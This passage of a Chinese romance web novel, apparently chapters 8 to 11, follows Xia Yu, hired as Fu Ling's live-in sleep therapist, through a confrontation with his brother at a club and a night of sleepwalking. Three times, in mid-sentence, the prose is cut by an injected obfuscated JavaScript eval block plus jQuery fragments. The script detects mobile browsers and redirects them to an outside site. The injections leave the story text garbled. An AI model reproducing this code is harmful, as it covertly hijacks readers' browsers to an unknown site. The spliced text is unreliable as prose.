见她迟迟不语,他开口问道。
暗自舒了口气,夏虞仰起头,迎上他的目光,抿唇轻笑。
“傅先生,你好像特别喜欢故弄玄虚,吓唬人。”
傅泠踱回客厅,重新拿起玻璃杯,冠冕堂皇道:“有了刚才的‘误会’,现在这个结果,是不是更容易接受了?”
--
熟悉环境后,夏虞回次卧收拾行李。
浴室摆着未开封的高级护肤品,衣柜里也挂满昂贵的睡衣和家居服。
难怪,他说不用带太多行李。
但这些东西她不会碰,他们只是合作伙伴,她不需要这种过分的周到。
收拾完,洗完澡,夏虞躺在柔软陌生的床上,闭上眼,又猛地睁开。
头顶的水晶灯刺目,晃得她眼睛发酸,一时竟分不清梦境和现实。
不久前,她还在回避他,竭力划清界限,转眼竟自投罗网,跟他“同居”。
荒诞如戏。
但仔细想想,她二十五年的人生中,这样的荒谬时刻,并不少见。
事已至此,她得时刻提醒自己一件重要的事。
跟他保持距离。
哪怕生活在同一屋檐下,她也只是个拿钱办事的睡眠治疗师,她的角色,仅仅是“医生”。
再直白点,是“工具人”。
至于那个心思难测的男人…
夏虞翻身,将脸埋进枕头。黑暗中,傅泠那双深不见底的眼,仿佛仍在注视着她。
总之,合作之外,他依然是她需要远离的危险火种。
--
暮色四合的餐厅里。
水晶灯投下细碎光斑,陶瓷餐具碰撞出清脆响动,声音不大,却在空旷的餐厅里,格外清晰。
“看看这个。”
晚餐快结束时,傅泠将一份合同推过桌面,修长指节在纸页上轻叩。
“有异议现在可以提。”
夏虞接过,垂眸翻阅,逐字逐句扫过酬劳相关的条款。
当“碧玺1号”几个字撞入眼帘时,她视线顿住。
这栋价值不菲的市中心别墅,此刻竟轻飘飘地躺在纸页上,成为她的酬劳之一。
“傅先生。”她抬眼,正对上他慢条斯理擦拭的动作,“你这是什么意思?”
傅泠将餐巾扔在一边,放下银质刀叉,“夏小姐是觉得一套房少了?”
空气静默两秒。
没有理会他的揶揄,夏虞将合同放回桌面,声线平稳地开口:“之前谈好的报酬,已经高出市场很多。这房子,我不需要。”
傅泠身体微微后靠,平湖无波的目光对上她,“如果事成,半年后,我大概不会在了。”
“这房子空着也没用,索性就给你了。”
“什么叫…不在?”夏虞皱了皱眉。
“按照原计划,我可能会回英国。”
话说一半,傅泠突然顿住,暗淡的眼眸,多了些玩味的目光。
“怎么,你以为‘不在’的意思,是我死了?”
“我…没有这样想。”
夏虞垂下眼睫,暗叹自己的多管闲事。不等他再说什么,她拿起桌上的万宝龙钢笔,在那条细则上划了一条线。
“傅先生,谢谢你的慷慨,但我真的不需要。”
傅泠沉默地看着她的动作,没阻止,也没为此感到惊诧。
他果然没有判断错,她的确是个无所求,没有一丝贪婪之心的人。
查看完酬劳部分,夏虞继续翻阅接下来的生活准则。
“双方需保持适当距离,不得侵犯对方的私人空间…”
看到此处,夏虞目光一顿。
这是在提醒她别越界,别存有什么其他不该有的心思。
“夏小姐对此有异议?”
“没有。”
夏虞抬头,目光不避不让,迎上他微沉的眼眸,唇边绽开一个浅淡的笑,“这点我也非常赞同。”
她再度拿起那只沉甸甸的黑色钢笔,笔尖悬滞一瞬,随即迅速签下自己的名字,盖章。
--
晚饭后,夏虞抱着笔记本,窝在二楼客厅的沙发里,处理一些项目上的临时工作。
卧室里没有书桌,他的书房,她也不敢随意出入。
指尖敲击键盘的声音,回荡在寂静的二楼,直到最后一份邮件发送成功,她才察觉,落地窗外早已夜色深沉。
刚合上电脑,楼梯处便传来脚步声。
傅泠端着水杯上来,黑色睡袍的领口微敞,发梢还带着沐浴后的湿气。
此刻十一点整,是合同上白纸黑字规定的休息时间。
“傅先生。”她站起身,笔记本下意识抵在胸前,“我...”
傅泠目光扫过她因为用力而发白的指节,慢条斯理喝了口水,“今晚不用过来。”
夏虞愣了愣。
“还是说...”
他向前迈了半步,木质淡香顿时侵入她的安全距离,“夏小姐想今晚立刻履行职责?”
“你误会了。”
夏虞稍稍后退,拖鞋在地板上蹭出刺啦一声。笔记本散热孔的热意,透过睡衣传到心口,烫得她浑身发麻。
“那就…晚安了。”
她冲他笑笑,然后抱着电脑,迅速溜回自己房间,门锁咔哒落下的声音,在走廊里格外清脆。
傅泠立在原地,欣赏着她仓皇、又故作镇定的背影,唇角慢慢弯出些微的弧度。
--
周一上班,夏虞是部门第一个到的,灌下整杯冰美式,脑袋才稍微清醒了些。
“你怎么困成这样,昨晚失眠啦?”
许妍在楼下买咖啡时,习惯性给她买了杯拿铁,但扫了眼她见底的咖啡杯,一时不知该不该给她。
“嗯。”
夏虞二话不说,从她手里接过热拿铁,迫不及待喝了口。刚刚那杯冰美式,让她胃里有点难受。
大概是换了环境,周末这两天都没睡着,半夜跑去阳台,发现隔壁的男人,竟然同样伫立在夜色中。
月光下,那双深棕色的眼睛,像困兽般黯淡。那一刻,她似乎能体会到他漫漫长夜里的无助了。
“你喝这么多咖啡,晚上还想不想睡觉了。”看着把咖啡当水喝的人,许妍忧心忡忡。
夏虞露出一个苦涩的笑,“喝不喝,都一样。”
--
晚上下班后,夏虞在工位上磨磨蹭蹭半晌,才打卡离开。
然而回到家,别墅却空无一人,傅泠不在,惠姨和底下的人也不在。
她忘了加惠姨的联系方式,在门口徘徊十几分钟后,发了条信息给傅泠。
得到的回复是:【来白夜里】
又是白夜里。
提起这个地方,她脑子里总会浮现一些不堪入目的画面,不想再踏足其中,她敲字回复。
【我在门口等你回来】
敲完,她又一个字一个字地删掉,怕被误会在催他,夏虞还是打车去了白夜里。
这个点的白夜里,浅吟低唱,杯盏碰撞。
夏虞下意识看了眼吧台处,试图搜寻傅泠的身影,却看见另一个她并不愿意见到的人。
傅斯洲。
他被几个男人围在中间,依旧是白衬衫,阳光俊朗的模样,只是面色憔悴了许多。
过
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16490638|185841||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
去的已然过去,她提醒自己不去想那些旧事,正要收回视线,他却不经意看了过来。
四目相对,彼此都愣了下。
“小鱼。”
傅斯洲下一刻露出惊喜的目光。
夏虞没有回应,本能地后退,迅速掉头离开。
“夏虞——”
身后急切的呼唤声不断响起,越来越近,她穿过人群,七拐八绕,从侧门溜了出去。
也不知过了多久,直到那声音彻底消失,她才靠在墙边,松了口气。
侧门外是个院子,占地不大,但却有方莲池,很清幽,像是在会所隔绝出的一个幽静空间。
她走到莲池边坐下,直到心绪完全平静下来,手机响起傅泠的信息,她才恍惚想起此行的目的。
刚起身要走,耳边却响起诡异的低吠。
转头一看,一只体型硕大的德牧,正朝她龇着牙,那凶悍模样,让毫无准备的她心头一惊,连连后退。
不料一脚踩空。
“咕咚”一声,她以后背着地的方式,跌进了池塘。
水腥味扑鼻而来。
盛夏的天光尚在,池水将她淹没时,她竟看见两条金红的锦鲤,在浓绿的荷叶下相伴游过。
鱼尾摆动,撞碎光斑,划出璀璨的水纹。
听说遇见锦鲤会走运。
唉,她最近可真是倒霉透了,否极泰来,也该转运了。
她自嘲地笑了笑,抹了把脸上的水,赶紧朝池边浮去。
水不深,她很快挣扎着游到池边。但湿透的针织衫涩在身上,身体变得沉重,她双手攀在池边,将粘在眼皮上的水草,一点点清理掉。
再睁眼时,头顶的天光却黯了下来。
一只男人的大手伸到她面前。
修长,冷白,腕间戴着价值不菲的深蓝色腕表,隐隐散发着洁净的木香。
她下意识扬起惨白的脸,水珠四溅,粉色莲瓣从她湿漉漉的发梢甩出,坠在男人的黑色皮鞋上。
“夏小姐每次的出场,总是别具一格,令人印象深刻。”
傅泠边揶揄,边握住她手腕,将她往上一拽。也不知是不是错觉,某个瞬间,他眉头似乎蹙了下,呼吸有片刻的粗重。
但夏虞定睛细看,又一切如常。
待她上岸后,傅泠迅速偏开视线,脱下身上的黑衬衫,扔到她怀里。
“穿上。”
捧着他干净温暖的衬衫,夏虞默了两秒,才反应过来什么意思。
“谢谢。”
迅速将衬衫套好,就听他说:“跟我过来。”
她没有问他要去哪里,乖乖跟在他身后,闯了这个祸,她也不好意思开口说什么。
两人一起走到通往二楼的楼道处。
刚要上楼,突然有人闯进来,挡在前方。是整件事的始作俑者,傅斯洲。
“小鱼?”
傅斯洲看了眼她身上的男式衬衫,又看向傅泠,狐疑道:“哥,你们怎么会在一起?”
傅泠双手插兜,像一堵墙,挡在两人中间,“客人在这里出了事,身为老板,你觉得我不该管?”
傅斯洲这才注意到夏虞似乎落水了,湿漉漉的头发还在不断往下滴着水。
“多谢哥的照顾。”傅斯洲放心下来,“不过我想跟她说两句话。”
他伸手去拉夏虞,却抓了个空。她躲在了傅泠身后。
傅斯洲一愣。
这两人什么时候这么熟了?
“看样子,她好像并不想听你讲话。”傅泠盯着他,声音冷了下去。
不知为何,傅斯洲觉得哥哥有些不太对劲。
两兄弟虽然私底下水火不容,但明面上不会过不去,况且,傅泠向来是个懒得管闲事的性子,此刻竟为了一个他口中的客人,万般阻挠他。
“哥,她是我女朋友,我们只是闹了点…误会。”
“是女朋友,”傅泠打断他,“还是前女友?”
傅斯洲皱了皱眉。
他不知道向来还算客气的哥哥,为什么执意管这件事,语气也颇有些不满。
“哥,这件事你最好别管。”
他再度伸手去拽夏虞。
傅泠脚下一动,将夏虞严严实实挡在身后,高大身躯投下的阴影笼罩着傅斯洲,气势压人。
“如果我偏要管呢?”
9. Chapter 9
傅泠强硬的态度,让傅斯洲不得不再次警惕。
他哥这次回国的目的,他心知肚明,但也清楚时机不到,兄友弟恭的戏码还得演下去。
然而此刻,傅泠却为了一个不相干的女人,一个所谓的客人,挡住他的路。
况且,这个女人,还是他亲弟弟的前女友。
至于夏虞,就更奇怪了。
不久前的生日宴,她连误闯傅泠的房间,都紧张得面色苍白,此刻却穿着他的衣服,下意识寻求他的庇护。
分手的这几天到底发生了什么?
对了,她今晚又为何会出现在“白夜里”?
无数疑问翻涌,傅斯洲压下心绪,迎向傅泠居高临下的视线,挑衅地开口回应。
“哥,你凭什么插手?又是以什么身份过问我跟她之间的事?”
傅泠眼皮下压。
表情几乎没变,但那双寒潭般的眼睛,却掠过一丝危险的戾气。
傅斯洲不由得一怔。他太熟悉这眼神了,是某种触碰到底线的警告。
谁也没再说话。
剑拔弩张的氛围悄然蔓延。
直到,一声叹息打破僵局。
傅泠身后的夏虞从阴影里站出来,“傅斯洲。你到底想跟我说什么?”
--
莲池边,傅斯洲偏头看向夏虞,小心翼翼地试探道:“我哥…没对你怎么样吧?”
他目光细细扫过夏虞素净的脸,幽蓝的灯光下,那张本就明艳的脸孔,竟透出某种摄人心魄的美。
“我们之间的事,不用扯外人。”夏虞盯着前方的池面,声色沉静。
傅斯洲紧绷的神色稍稍放松。
看来,的确是他误会了,提到“外人”时,她脸上并没有一丝一毫的波澜。
他哥这人,向来做事严谨,人在他的地盘出了事,他出面维护,也说得通。
至于夏虞,大概还在气头上,拿他哥当挡箭牌了。
刚才是他太心急,竟生出这样荒唐的联想。
傅斯洲安下心来,将话题拉回正轨,“那晚我喝醉了,被陈思琪缠着…”
那个不堪的时刻,与其说是酒精作祟,不如说是心底的贪婪趁机脱缰。只是,他没想到一时鬼使神差的放任,竟造成无法挽回的后果。
“小鱼。”他声线沙哑,带着连自己都未曾料想的卑微,“能不能...再给我一次机会?”
错了便是错了,但即便如此,他仍然无耻地不愿放手。
夏虞垂下眼睫,轻轻摇头,“傅斯洲你还不明白吗?就算没有陈思琪,我们也走不到最后。”
傅斯洲怔住:“为什么?”
“如果当初知道你的身份,我不会选择开始。”
湿衣服贴在皮肤,浑身一片冰冷,夏虞抬手环抱住胳膊。
“后来,你说你对傅家的一切都不感兴趣,只想跟我过普通人的生活,我信以为真。但你哥回来后,一切都变了…”
“夏虞,我没变。”傅斯洲急切地握住她肩膀,力道有些失控,“我还是当初那个我...”
“你是没变。”
夏虞被迫转头面对他,眼底映着路灯的光,冷冷的,“你只是从出生起,就注定与柴米油盐的平凡生活无缘。”
“傅斯洲,别自欺欺人了。”
话音落下,像一记响亮的耳光。
傅斯洲窘迫地垂下头,所有辩解哽在喉间,只剩狼狈的静默。半晌,他嘴唇翕动,还想再说些什么,身后传来一阵犬吠声。
两人转头一看,李隽牵着条凶恶的德牧过来。
“李隽,你什么意思?”傅斯洲瞥了眼不速之客,面色不悦。
“这蠢狗刚才惊扰了客人,我这不是带着它过来道歉了吗?”
李隽抬起鞋尖,轻踹了下德牧,恶狗嚣张的气焰瞬间消失无踪,呜呜两声,庞大身躯蜷伏在夏虞脚边,不敢再动。
“夏小姐,这蠢狗害你落水,要打要罚随你。”
傅斯洲烦躁地拧紧眉头,“你就不能等会儿再…”
“傅斯洲,”夏虞淡声打断他,“该说的话,我已经说完了,你回去吧。”
冷风钻进内里的湿衣,她不禁打了个寒颤,环抱的手臂收得更紧,“我不想在这里吹冷风了。”
看着她苍白清冷的脸,傅斯洲心绪复杂,担心和不甘中,还掺杂些许的无力。最终,他迟疑地点点头,决定暂时妥协。
“好。我这两天要出差,你好好照顾自己。”
说完这话,他冷冷瞥了眼气定神闲的李隽,和他脚下那条不合时宜的蠢狗,兀自转身,朝侧门处走去。
傅泠站在侧门廊下,一手拿着电话,一手心不在焉地把玩着打火机,猩红火苗在他冷白的指尖明灭。
眼风扫到傅斯洲过来,他利落地合上金属盖,同时掐断电话。
“哥。”傅斯洲极不情愿地开口,“那就麻烦你…帮我照顾下小鱼了。”
“嗯。”傅泠眼中寒意稍缓,“一路平安。”
--
夏虞被傅泠带到白夜里的二楼,他的私人地盘。
电梯打开,是个不大的走廊,墙上挂着几幅抽象派油画,中间摆放着一张深灰色长条沙发。
沙发旁是一个矩形鱼缸,亮着灯,盛着水。
但没有鱼。
傅泠将她安置在卫生间,又转身离开,去给她寻干净的衣服,回来时,女孩却靠在盥洗台边走神。
白炽灯下,她苍白的肌肤近乎透明,窄瘦的身体被他宽大的衣服包裹,衬衫下面露出两条细细的腿,袖口吞没了她整个手掌。
夏虞正盯着瓷砖缝隙出神,掌心突然被塞进一片柔软。
“怎么,放完狠话就后悔了?”傅泠的声音听不出波澜。
回过神来,夏虞接过衣服,摸了摸后颈,“我只是在想…呆会儿晚饭要吃点什么。”
傅泠也不知信没信,喉结滚动,沉声道:“先把湿衣服换了。”
那是一套纯棉的米色家居服,崭新的,带着淡淡的清香。
“谢谢。”
她捧着那叠衣服,在他转身欲走的瞬间,突然伸手抓住他,“傅先生。”
傅泠脚下一顿,垂眸看向臂弯处那只手。
夏虞倏然松开手。
“这件事...别让傅斯洲知道。”
傅泠没有立刻回答她。
他转身拧开水龙头,慢条斯理地冲洗手背,腕间有什么白色的东西一闪而过,但很快被袖口藏匿。
良久,他才关掉水龙头,“夏小姐多虑了,我从不自找麻烦。”
“谢谢。”
“行了,赶紧换衣服,回家。”
没再给她开口的机会,不耐的催促后,他转身离开。
将门反锁上,夏虞花了几分钟时间,迅速冲了澡。换上干净衣服时,却听到门外传来急切的声音。
“你疯了吗?这种状态还敢
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16490639|185841||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
自己开车!”
李隽的声音压着火,“老张休假,不是还有老钱?这么多司机,你非得作死?”
“小伤。”
相较之下,傅泠的回应也平静得可怕。
“呵,是不要紧!”
李隽嘲讽道:“你那个后妈和舅舅想趁机搞你,下次就不只是撞上绿化带这么简单了!”
“还有,董事会那群老狐狸,都在传你是因为精神状态不稳,才出的车祸!话说回来,既然有法子了,你怎么不早点…唉,你捂我嘴做什么…”
他出了车祸?
什么时候的事?
夏虞脑子里闪过什么,顿时恍然大悟,他手腕上那圈白,根本不是衣服上的装饰,而是层叠的医用纱布。
难怪将她从池子里拉起来时,他脸色那么难看。
不是在嫌她麻烦,而是受伤了。
当初李隽来找她时,的确提过,傅泠的病症,已经成了集团某些人对付他的利刃。
只是她没想到,他的对家,会是傅斯洲的母亲和舅舅。
水珠顺着发梢滑落,夏虞打开吹风机,轰轰声响,很快盖住外面的争吵声。
--
回到家,厨房里飘来姜汤辛辣温暖的香气。
“哟,你俩回来了?”
惠姨探头看了眼,两人正并肩进来。
可真般配啊。
她忍不住多打量几眼,这笑意恰好被傅泠抓个正着,她赶紧抿唇,状若无事地清了清嗓子。
“小虞不好意思啊,都怪惠姨,忘了给你录指纹。”
她放下勺子,从厨房出来,“今儿家里有点急事,回去了一趟,也没想到会耽搁那么久。”
“没事的,惠姨。”夏虞笑笑,将拎着的脏衣服放下,拍了拍身上残留的雨水。
“你还没吃饭吧?我给你煮了饺子,过来尝尝。”
惠姨亲热地挽过她的手,替她拂去刘海上的水珠,“对了,我还熬了点姜汤,你赶紧趁热喝了,驱驱寒。
她怎么知道自己需要驱寒?
夏虞下意识看向落在身后的傅泠。
他正侧着头,听底下的人讲话,对话中,她似乎听到了傅斯洲的名字。
大概是察觉到她的视线,他转过头来,只扫了她一眼,便淡漠地收回。
不管在谈什么,都是她不该听的。
“好啊,惠姨。”
夏虞跟着去了餐厅。
不多时,大雨转小,惠姨去外面接收蔬果商送来的食材,餐厅便只剩夏虞一人。
姜枣汤暖胃,饺子鲜香,她吃得很快,最后一口热汤饮尽,楼上传来不疾不徐的脚步声。
最后,那沉稳有力的声音,停在了餐厅入口。
傅泠一身宽大黑色针织衫,站在明暗交接处,视线落在她仍有些潮湿的发梢,喉间微动。
“你——”
话音刚起,就被一阵急促的电话声打断。
他不耐地瞥了眼屏幕,按下接听键,声音压得极低,却裹挟着不容置喙的威压。
“不用带回来,我亲自去。”
三两句结束通话后,他转回身,目光重新回到她被热汤熏得微红的面颊上,似乎想继续刚才的话题。
“夏小姐,你…”
夏虞从椅子上站起身,视线落在他腕间的纱布上,抢先开口。
“傅先生,你晚上十一点休息,那我提前十分钟去你房间,可以吗?”
10. Chapter 10
傅泠闻言,脚下一顿,视线骤然定在她脸上。
夏虞的主动,在他预料之外。
他原以为还要更久,才能打消她初来乍到的不安,但没想到,不过两天,她便主动将日程提前。
是为了偿还他在白夜里的维护?
还真是个…有恩必报的人。
他咽下那句“身体还好吗”,抄手走过去,目光扫过她波澜不惊的眉眼,单手拎起茶壶,低头斟茶。
热气触到他冰凉的指尖,随即散开。他端起白瓷盏,轻晃了下红亮的茶汤。
“那就,谢谢夏小姐的体谅了。”
--
洗完澡,夏虞慢吞吞涂了身体乳,又敷了张面膜。
面膜是冷藏过的,很冰,但敷完后,她的脸颊却在微微发烫。
不止脸颊,连身体都是烫的。
卫生间的光打在她水汽残留的脸上,白里透红。她站在镜子前,将掌心贴在心脏处,闭上眼,深吸口气。
刚刚一时冲动,主动提出从今晚开始履行职责,临到头了,却还是逃不过那点莫名的不安。
但没有时间再磨蹭了。
夏虞睁眼,拧开水龙头,接了捧冷水拍在脸颊上,然后从架子上取下睡袍,推门出去。
隔壁的卧室,房门半开,像是在等待她的进入。
握了握发汗的掌心,她缓缓推开半掩的木门。
映入眼帘的一幕,却让她僵在原地。
男人正在换衣服,半裸着上身,宽阔结实的身板,从胸肌到腹肌,雕塑般的线条,流畅优美。
是长期保持极端自律的身材。
察觉到她的注视,傅泠掀眼看过来。
一贯沉冷的眼神,似乎顿了下,瞳孔皱缩,视线变得极其古怪。
夏虞立刻转过身,“抱歉,我不知道你在换衣服。”
身后没有回应。
只有一道存在感极强的视线,凝在她薄薄的脊背上。
过了好几秒,一道没有情绪的声音才响起:“转过来。”
这命令式的口吻,是要兴师问罪?
夏虞蹙起眉头,但还是照做。
转过身,男人已经穿好衣服,一身黑色的绸质睡衣,宽松垂落,鼻梁上架着一副银框眼镜。
寸头,冷脸,眼镜,清冷禁欲的一张脸。
这让她想起此前拍过的一个广告,当时找不到合适的男模,只能退而求其次,选择了一个并不完全契合的新人。
但眼前这个,却是百分百的适配。
然而这个禁欲的男人,却在审视自己,像扫描什么可疑物品那样,从头到脚,意味不明。
“再转过去。”扫描完,他又继续吩咐道。
“…”
这是在做什么?怕她带武器过来,所以搜身?
夏虞的耐心在一点点流失。
算了,人在屋檐下,暂且忍耐。她握了握拳头,迁就着这个行为古怪的男人,再次乖乖转过身去。
短暂的静默后,又听身后的人道:“好了,转过…”
她闭了闭眼,“傅泠,你有完没完?”
傅泠眯眼看她。
从签完合同起,这女人就傅先生长、傅先生短,礼貌,客气,泾渭分明。
此刻倒是露出本性了。
他移开视线,没对自己的行为做出任何解释,只淡声道:“休息吧。”
--
夏虞朝着自己的那张床走过去。
经过刚刚那个“整蛊游戏”的折腾,她胸腔里的心悸平息不少,虽未彻底消退,但总会适应的。
这样想着,她钻进了被窝里。
抬眼间突然发现,床边多了一扇乌木屏风。深色木框中绷着一层白绢,薄薄的,有些透光。
但隔在两人中间,倒是增添了一分安全感。
考虑得还挺周到的。
她将脸埋进枕头,背过身,正准备闭眼,一股凉意灌进后颈,抬头一看,床边的落地窗竟还半开着。
她扭头瞄了眼身后,大床空着,傅泠不知去哪儿了。她犹豫片刻,最终还是抵不住那阵寒意,认命地起身去关窗。
睡袍随着她的动作,滑落在床上,身上只剩下件香槟色吊带。她走到窗边,伸手去拉玻璃窗。
就在这时,头顶的灯猝然熄灭。
整个房间陷入一片静默的黑暗中。
耳边只剩下喧嚣的风雨声。
别墅区也会停电吗?
她探头看了眼窗外,四下一片浓稠的黑,她赶紧关窗,但那窗户却像是卡死了,纹丝不动。
“轰隆——”
一道惊雷在头顶炸开。
惨白的光,像夜里突然亮起的鬼火,她本能往后一躲,脚下却被什么东西绊住,失去平衡地向后倒去。
下一刻,却撞进一个温热坚实的怀抱。
“平时胆子不是挺大的?”
男人稳稳扶住她的肩,掌心贴着她裸|露的皮肤,另一只手越过她,将窗户上的卡扣移开,关上了窗户。
“忘了告诉你,今晚整个片区停电半小时。”
黑暗中,傅泠离得很近,洗过的头发带着洁净的木质香味,呼吸扫在她脸上,嗓音里有种磨人的质感。
“…这样啊。”
夏虞侧过身,将肩膀从他掌中撤离,顺手将滑落的肩带扶正,慢慢退回床边。
“时间不早了,我先睡了,傅先生你也早点休息。”
--
傅泠回到床上。
隔着中间的屏风,他看向右侧的人,房间漆黑无光,唯有闪电掠过时,映亮她裹在被子里的起伏轮廓。
刚刚那一幕究竟是怎么回事?
在她进门那一刻,那个瞬间,他脑中闪过某种似曾相识的感觉,那感觉飘渺,捉不住。
但又很真切。
像真实发生在他过往生命中的。
于是他发出荒唐的指令,让她不断重复那个动作,试图寻找些蛛丝马迹。
但只是徒劳。
甚至连那点微弱的熟悉感,也荡然无存。
那个像她一样闯入的人是谁?
莫非是曾经救过他的女孩?
脑袋发出阵阵锐痛,他低下头,抬手按压太阳穴。
找人的事依旧毫无进展。
翻遍整个清溪镇,连半个影子也没有,难道那个女孩也跟他一样,并非本地人,只是碰巧路过清溪?
看来,得换个思路才行。
手腕上的睡眠监测器在这时震动起来,提醒他该睡觉了。
今晚应该会是个不一样的夜晚。
他收回思绪,正准备躺下,耳边
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16490640|185841||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
响起簌簌动静。
像是旁边人在被窝里穿衣服的声音。衣料摩擦、床垫响动,怕动静太大,她甚至刻意放缓了动作。
以至于这声音无比漫长,恼人。
喉头有些发痒,他伸手拿起床头柜的水杯,用半凉的水,压下心头的烦躁,随即侧身睡下。
--
深浓夜色中,傅泠很快有了困意。
五年漫无边际的黑暗,即将终结,他摒除一切杂念,近乎贪婪地沉入睡意。
然而,凌晨三点,他却被一阵诡异的动静吵醒。
不容许安眠被打破,他侧过身,试图无视。
但那声音却像蜘蛛吐丝,轻微,绵长,硬生生将他从睡梦中一点点剥离。
脑子彻底清醒,他带着一股无名火起身,拧亮床头灯,视线还没清明,便看见屏风对面,一团黑影正坐在床前。
他心头一凛。
定睛看去,立刻察觉到异样。
“夏虞?”他调亮灯,试探着出声。
影子像是听到他的声音,动了动,然后慢慢起身,步履飘忽地朝大门走去。
担心她出事,傅泠迅速跟了上去。
他打开走廊的灯,突如其来的光亮让夏虞顿了顿,随即抬脚往前。
走廊放着一盆绿植,她没绕过,直直撞了上去,“咚”一声闷响,在静谧空间里回荡。
傅泠下意识去扶她,她却只是晃了晃,很快稳住身形,像是丝毫察觉不到痛,绕开障碍物,继续向前。
傅泠悄然收回了手。
两人一前一后,以极其缓慢的步伐穿过长廊,来到二楼的客厅。停在客厅中央,夏虞茫然四周,视线锁定在冰箱上。
她走过去,伸手拉开冰箱门,将头探入,下巴搁在冰冷的隔板上。
傅泠眉头深锁地看着她。
梦游。
她竟然有梦游症。
可她完全没告诉过自己。
也不知是一次偶发的意外,还是跟他从前的失眠一样,是长期的病症。
怕她被冻出问题,傅泠立刻走过去,轻拍她后背。
“喂,不嫌冷啊?”
梦游的人缓缓转过身,动作因梦境而有些迟滞,明艳五官被茫然的温柔笼罩,眼神温顺得像鹿。
竟透着一种近乎稚气的生动。
冰箱涌出的冷雾萦绕在两人周边,夏虞看着他,眼神迷茫,但没有半分惊惶。
她安静而纯粹地打量他,目光如羽,无声拂过他的眉峰、深棕色的眼眸、挺直的鼻梁、紧抿的唇。
最后,定格他左侧眉尾的位置。
那里有一条极浅的疤,隐在浓眉下,不细看,难以察觉。
盯着那道旧伤几秒,夏虞忽然抬手,冰凉指尖极轻地拂过那里。
傅泠身形一滞。
“这里,”面前的女人喃喃开口,“是什么时候受的伤?”
傅泠没动。
他垂眸盯着她,眉头渐深,“夏虞,看清楚,我不是傅斯洲。”
听见这话,夏虞将视线移回他的眼眸,带着一丝困惑。
“我知道啊…我知道你不是傅斯洲,你怎么会是他。”
傅泠一把捉住她的手腕,目光在她脸上游移。半晌,极轻地开口。
“我不是傅斯洲,那我应该是谁?”
11. Chapter 11
说不上为什么,被某种好奇心驱使,傅泠下意识想窥探她的梦境。
他从未见过她这副模样,褪下温和疏冷的面具,眼神中流露出的关心,柔软而纯粹。
哪怕面对傅斯洲,也是没有过的。
听见傅泠的话,夏虞仰起头,迷蒙的视线在他脸上游移,睫毛轻轻扇动。
“你是…”
“是…”
忽然,她眼皮一阖,脑袋重重靠在他胸口。
睡了过去。
傅泠:“…”
--
翌日早上,闹钟响起时,夏虞身体踏空,猛地惊醒过来。
脖子底下被什么硬物硌得难受,她翻了个身。一股带着体温的,陌生的气息,绵密地拂在她脸上,痒痒的。
她懒懒地睁眼。
猝不及防,撞上一双冷静审视的眼。
愣了一瞬。
她赶紧闭上眼,几秒后,像确认在什么般,再度睁开。
大脑一片空白,思维骤然停止运转。
那双与众不同的深棕色眼眸,依旧真实地,沉甸甸地盯着她,甚至,那排浓密的睫毛还微微扇动了下。
不是在做梦。
她竟然...在傅泠的床上。
心脏如雷鼓动,身体像触电般,本能地往外弹开,夏虞滚到了床边。
眼看就要掉下去,一只宽厚的手扣在她腰上,轻而易举将她捞回。
力道有些大,她柔软的身体,撞在他身上。
傅泠皱了皱眉,立刻松开了手。
“我怎么会在你的床上?”
夏虞咽了咽喉咙,一点一点,像蜗牛缩回壳般,小心翼翼地往后挪,试图拉开这极端危险的距离。
傅泠深瞳注视着她。
“夏小姐,你,梦,游,了。”
昨晚将她扛回房间后,为避免她再次梦游,他将卧室房门反锁。
然而没多久,他快要陷入睡意时,身边的床垫突然陷下,女人柔软的身体,从后背贴了过来。
她竟然梦游到他床上了。
漆黑夜色中,她紧闭双眼,侧对着他,双手枕在脑袋下。
傅泠沉着一张脸将人扛回去。
但没几分钟,梦游的人再次回到他床上,如此反复,乐此不疲,像是他这里有什么吸引人的东西。
不过,经过几次折腾,他倒是发现一件事。
她离得越近,他睡意也来的越快,仿佛蓝牙似的,信号的强弱随距离增衰。
后来实在太困,他索性伸出一只手禁锢着她,就那样沉沉睡了过去。
晨光中再睁眼,便是她枕在他发麻的胳膊上,恬静的酣睡模样。
梦游?
夏虞后移的身体顿时僵住,脑子里“嗡”地一声,从头凉到脚。
她这辈子只梦游过三次。
第一次,是母亲陈秋莲重病入院后,被恐惧驱使的那些深夜。
第二次,是陈秋莲葬礼后那些绵绵细雨的阴冷日子里。
最后,便是昨晚。
可这次又是为什么发作呢?
她在害怕什么?
心脏在胸腔里狂跳,夏虞想立刻远离这个男人,但他的手还垫在自己颈下,像无形的绳索,束缚着她。
竟无法再动弹。
她尽量让自己保持冷静,不去看他的眼,“抱歉傅先生,我不是故意的。”
